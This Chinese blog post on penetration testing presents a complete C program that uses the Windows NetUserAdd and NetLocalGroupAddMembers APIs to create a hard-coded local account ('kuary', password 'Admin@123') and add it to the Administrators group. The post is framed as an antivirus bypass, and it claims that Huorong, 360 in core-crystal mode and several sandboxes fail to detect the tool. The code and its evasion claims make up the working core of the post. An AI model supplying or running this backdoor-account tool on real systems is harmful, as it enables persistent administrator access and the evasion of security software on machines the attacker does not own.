UserAdd免杀360核晶


0x01 前言

在渗透测试过程中,因有些需求,需要本地/远程添加用户从而登录远程桌面等服务进行横向(不考虑 hash 传递场景),而直接通过net.exe进行添加用户,往往会被安全软件直接阻断拦截,所以直接选择Windows API函数进行编写,进行 Bypass AV。

0x02 安全软件拦截

在命令行中输入添加账号、密码的命令后,火绒会出现警告。火绒的拦截,实际就是安全软件对net.exe的调用进行了监控并拦截。火绒、360安全卫士等杀毒软件主要是对net.exenet1.exe添加用户行为进行防护。

1 2

0x03 绕过杀毒软件

在火绒和360开启核晶模式下添加kuary账户,火绒和360全程无感知。

火绒全程无感知:

3

360开启核晶全程无感知:

4

0x04 微步沙箱、VT沙箱、火绒、360卫士查杀率。

微步沙箱

5

VT沙箱

6

火绒

7

360卫士

8

0x05 完整代码

代码原理为调用NetUserAddAPI添加普通权限的本地用户,调用NetLocalGroupAddMembersAPI将用户添加到管理员权限组。

#ifndef UNICODE
#define UNICODE
#endif
#pragma comment(lib, "netapi32.lib")

#include <stdio.h>
#include <windows.h> 
#include <lm.h>

int wmain(int argc, wchar_t* argv[])
{
    USER_INFO_1 kuary;  // 定义USER_INFO_1结构体
    DWORD dwLevel = 1;
    DWORD dwError = 0;
    NET_API_STATUS kuary_sta;

    kuary.usri1_name = (LPWSTR)TEXT("kuary");    //账户
    //(LPWSTR)TEXT("kuary");此处kuary为需添加的账户名

    kuary.usri1_password = (LPWSTR)TEXT("Admin@123");    //密码
    //(LPWSTR)TEXT("admin@123");此处admin@123为需添加的密码。

    kuary.usri1_priv = USER_PRIV_USER;
    kuary.usri1_home_dir = NULL;
    kuary.usri1_comment = NULL;
    kuary.usri1_flags = UF_SCRIPT;
    kuary.usri1_script_path = NULL;

    kuary_sta = NetUserAdd(NULL, dwLevel, (LPBYTE)&kuary, &dwError);
    
    // 添加用户到administrators组
    LOCALGROUP_MEMBERS_INFO_3 kuary1;
    kuary1.lgrmi3_domainandname = kuary.usri1_name;
    NET_API_STATUS Status = NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&kuary1, 1);

    return 0;
}

0x06 Reference


文章作者: yunhea
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yunhea !
评论
评论
  目录